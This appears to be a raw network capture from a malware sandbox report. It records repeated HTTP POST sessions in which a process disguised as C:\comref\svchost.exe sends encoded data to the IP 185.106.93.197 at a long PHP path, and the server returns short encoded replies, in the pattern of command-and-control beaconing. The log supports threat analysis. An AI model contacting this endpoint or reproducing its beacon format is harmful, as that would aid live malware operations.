                                                                      Data Ascii: [S^_X]YS[WZYRZT\TZ^\WSZU\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS".2&Z>8,X =(&_4["(U,(&!('5?[6&?"Y %X!;
                                                                      Aug 28, 2024 11:18:44.341088057 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:44.470282078 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:44 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 27 06 20 2d 23 1a 26 0d 05 00 2c 38 29 0e 2a 3f 38 5a 29 32 02 59 33 3d 2c 56 24 28 24 57 33 01 2b 44 30 0c 2e 04 27 04 37 1c 24 36 2d 5f 06 11 25 08 21 3b 31 5d 3b 0b 28 11 29 04 23 03 22 3e 3c 01 3d 0d 2d 10 22 07 3b 16 3e 3c 26 1c 38 0f 3e 0d 28 3a 21 02 2c 2d 01 0b 32 00 21 52 0c 17 21 09 3f 3a 20 59 37 06 22 55 27 21 3c 0c 34 11 21 51 30 06 23 1e 27 03 2c 1e 3c 06 15 0c 32 3e 0e 57 31 38 2a 02 30 02 09 18 39 29 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: ' -#&,8)*?8Z)2Y3=,V$($W3+D0.'7$6-_%!;1];()#"><=-";><&8>(:!,-2!R!?: Y7"U'!<4!Q0#',<2>W18*09).S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      99192.168.2.760206185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:43.738039017 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:44.097254038 CEST2512OUTData Raw: 5e 50 5e 5c 58 58 59 5b 5b 57 5a 59 52 59 54 54 54 51 5e 5f 57 54 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^P^\XXY[[WZYRYTTTQ^_WTZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C,T*]+8# ]%:<^";4W-% 8Z&?=(=5&(9"Y %X!7
                                                                      Aug 28, 2024 11:18:44.444905996 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:44.573529005 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:44 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      100192.168.2.760207185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:44.693768024 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:45.050335884 CEST2512OUTData Raw: 5b 50 5e 55 58 5b 5c 57 5b 57 5a 59 52 5d 54 57 54 59 5e 59 57 51 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P^UX[\W[WZYR]TWTY^YWQZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS"815+;# '2? 84.+4(,Y&<>[<:"!!\*9"Y %X!'
                                                                      Aug 28, 2024 11:18:45.326253891 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:45.456545115 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:45 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      101192.168.2.760208185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:45.585237026 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:45.967741013 CEST2512OUTData Raw: 5b 57 5b 5e 58 5d 59 5a 5b 57 5a 59 52 54 54 57 54 58 5e 59 57 52 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [W[^X]YZ[WZYRTTWTX^YWRZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/T-<8;!-+2:/6]4S:2#8$Z)+_!!1[?9"Y %X!
                                                                      Aug 28, 2024 11:18:46.314342976 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:46.446376085 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:46 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      102192.168.2.760209185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:46.565781116 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:46.909729004 CEST2512OUTData Raw: 5b 53 5b 5c 5d 5e 59 50 5b 57 5a 59 52 59 54 50 54 5c 5e 5b 57 51 5a 58 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [S[\]^YP[WZYRYTPT\^[WQZX\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!.".? #197!8$-9 8,',6Z("6?!*)"Y %X!7
                                                                      Aug 28, 2024 11:18:47.235017061 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:47.372319937 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:47 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      103192.168.2.760210185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:47.506329060 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:47.863120079 CEST2512OUTData Raw: 5b 54 5b 5e 5d 5d 5c 51 5b 57 5a 59 52 58 54 5c 54 5f 5e 53 57 51 5a 5f 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T[^]]\Q[WZYRXT\T_^SWQZ_\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",2)<,#>;':+";<,+*783'*X<>X5?%*)"Y %X!3
                                                                      Aug 28, 2024 11:18:48.140158892 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:48.266644001 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:48 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      104192.168.2.760211185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:48.421353102 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:48.769145966 CEST2512OUTData Raw: 5b 51 5b 59 5d 51 59 53 5b 57 5a 59 52 54 54 5d 54 51 5e 5e 57 50 5a 5b 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [Q[Y]QYS[WZYRTT]TQ^^WPZ[\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!,T.(8 4>8Y2)5+(9+94$X3?6*9%!/&("Y %X!
                                                                      Aug 28, 2024 11:18:49.073587894 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:49.202609062 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:48 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P
                                                                      Aug 28, 2024 11:18:49.423199892 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:48 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      105192.168.2.760212185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:49.423855066 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      106192.168.2.760213185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:49.479260921 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 1844
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:49.831666946 CEST1844OUTData Raw: 5b 52 5e 5c 58 58 5c 52 5b 57 5a 59 52 5a 54 5d 54 5d 5e 5b 57 54 5a 5c 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [R^\XX\R[WZYRZT]T]^[WTZ\\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!B;!&[( ] 4]&<5$W9+ /',<_*!1*)"Y %X!;
                                                                      Aug 28, 2024 11:18:50.180430889 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:50.312423944 CEST380INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:50 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Vary: Accept-Encoding
                                                                      Content-Length: 152
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 0d 1a 24 5f 37 5b 3f 50 26 23 02 13 2e 28 00 1e 3e 12 06 5a 2a 1c 0d 07 33 58 2c 10 24 16 20 1f 30 38 2b 08 24 32 3e 04 30 13 2c 0f 32 0c 2d 5f 06 11 25 44 37 3b 35 15 2d 21 2c 54 29 2d 28 1e 21 3e 3c 02 2b 23 35 56 21 00 33 5a 3e 2f 21 0e 3b 32 21 57 2a 03 32 5b 2c 13 02 1b 32 10 21 52 0c 17 21 08 3c 29 38 13 21 2b 29 0d 24 22 30 0e 22 2f 3d 55 24 3f 3f 55 30 04 01 0d 3f 01 2b 0a 31 3d 28 1e 31 3b 08 00 25 2f 34 0b 2e 13 2e 53 22 00 2d 48 0e 3d 54 4d
                                                                      Data Ascii: $_7[?P&#.(>Z*3X,$ 08+$2>0,2-_%D7;5-!,T)-(!><+#5V!3Z>/!;2!W*2[,2!R!<)8!+)$"0"/=U$??U0?+1=(1;%/4..S"-H=TM


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      107192.168.2.760214185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:49.603192091 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:49.956798077 CEST2512OUTData Raw: 5e 51 5e 5b 5d 50 5c 57 5b 57 5a 59 52 5a 54 5c 54 51 5e 5b 57 54 5a 5a 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q^[]P\W[WZYRZT\TQ^[WTZZ\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",!*[<^<!='%/"8;9;4<06*:=5"("Y %X!;
                                                                      Aug 28, 2024 11:18:50.339155912 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:50.474276066 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:50 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      108192.168.2.760215185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:50.596802950 CEST391OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Aug 28, 2024 11:18:50.941248894 CEST2512OUTData Raw: 5b 50 5b 5b 5d 5f 59 53 5b 57 5a 59 52 5d 54 51 54 5d 5e 5f 57 56 5a 5e 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [P[[]_YS[WZYR]TQT]^_WVZ^\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!/!.\?;#7X+193 889+7^00<1+*9#,]*)"Y %X!'
                                                                      Aug 28, 2024 11:18:51.237783909 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:51.366492033 CEST151INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:51 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      109192.168.2.760216185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:51.497900963 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:51.847265959 CEST2512OUTData Raw: 5e 51 5e 55 5d 50 59 56 5b 57 5a 59 52 59 54 56 54 5b 5e 52 57 5e 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: ^Q^U]PYV[WZYRYTVT[^RW^ZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS",%+++4-8%_0^54U-]%#3,.[+*:\!"+"Y %X!7
                                                                      Aug 28, 2024 11:18:52.128312111 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:52.260658979 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:52 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      110192.168.2.760217185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:52.379146099 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2512
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
                                                                      Aug 28, 2024 11:18:52.737924099 CEST2512OUTData Raw: 5b 54 5e 5a 5d 5b 59 5b 5b 57 5a 59 52 59 54 57 54 58 5e 59 57 51 5a 59 5c 5b 5a 50 5a 59 5b 54 5c 5d 54 47 5a 53 57 55 5f 58 54 56 58 51 57 5b 50 5d 5f 40 58 5d 57 5b 51 53 53 50 54 5c 5f 5a 5f 5f 5d 50 57 52 57 56 5c 5f 59 5b 43 5d 5c 5c 51 50
                                                                      Data Ascii: [T^Z][Y[[WZYRYTWTX^YWQZY\[ZPZY[T\]TGZSWU_XTVXQW[P]_@X]W[QSSPT\_Z__]PWRWV\_Y[C]\\QP[^T[QXWZVP]Z^UZ]XTPX_[][YR\S\U[XWPZZ]R_\ZQSZGPX_[W]YZ^Y^XQP\TPX_TE^QWH]^\XTY[Y_\\V^_ZRZZU[S^VY^^[Y^ZVS!C/2_++$ ,^':<!+/-278'3,6[().\5!?"Y %X!7
                                                                      Aug 28, 2024 11:18:53.068392038 CEST25INHTTP/1.1 100 Continue
                                                                      Aug 28, 2024 11:18:53.197853088 CEST207INHTTP/1.1 200 OK
                                                                      Date: Wed, 28 Aug 2024 09:18:52 GMT
                                                                      Server: Apache/2.4.41 (Ubuntu)
                                                                      Content-Length: 4
                                                                      Keep-Alive: timeout=5, max=100
                                                                      Connection: Keep-Alive
                                                                      Content-Type: text/html; charset=UTF-8
                                                                      Data Raw: 3f 52 5d 50
                                                                      Data Ascii: ?R]P


                                                                      Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                      111192.168.2.760218185.106.93.197804340C:\comref\svchost.exe
                                                                      TimestampBytes transferredDirectionData
                                                                      Aug 28, 2024 11:18:53.332298040 CEST415OUTPOST /phpHttp3/3JsProviderRequest/Game/Default6/Better/8Windows28/privateTo/Line/ProcessGame2/httplowjsExternal/6Public42/HttpTrafficPacket/0/PhpjavascriptjsdleUploadsdownloads.php HTTP/1.1
                                                                      Content-Type: application/octet-stream
                                                                      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
                                                                      Host: 185.106.93.197
                                                                      Content-Length: 2504
                                                                      Expect: 100-continue
                                                                      Connection: Keep-Alive
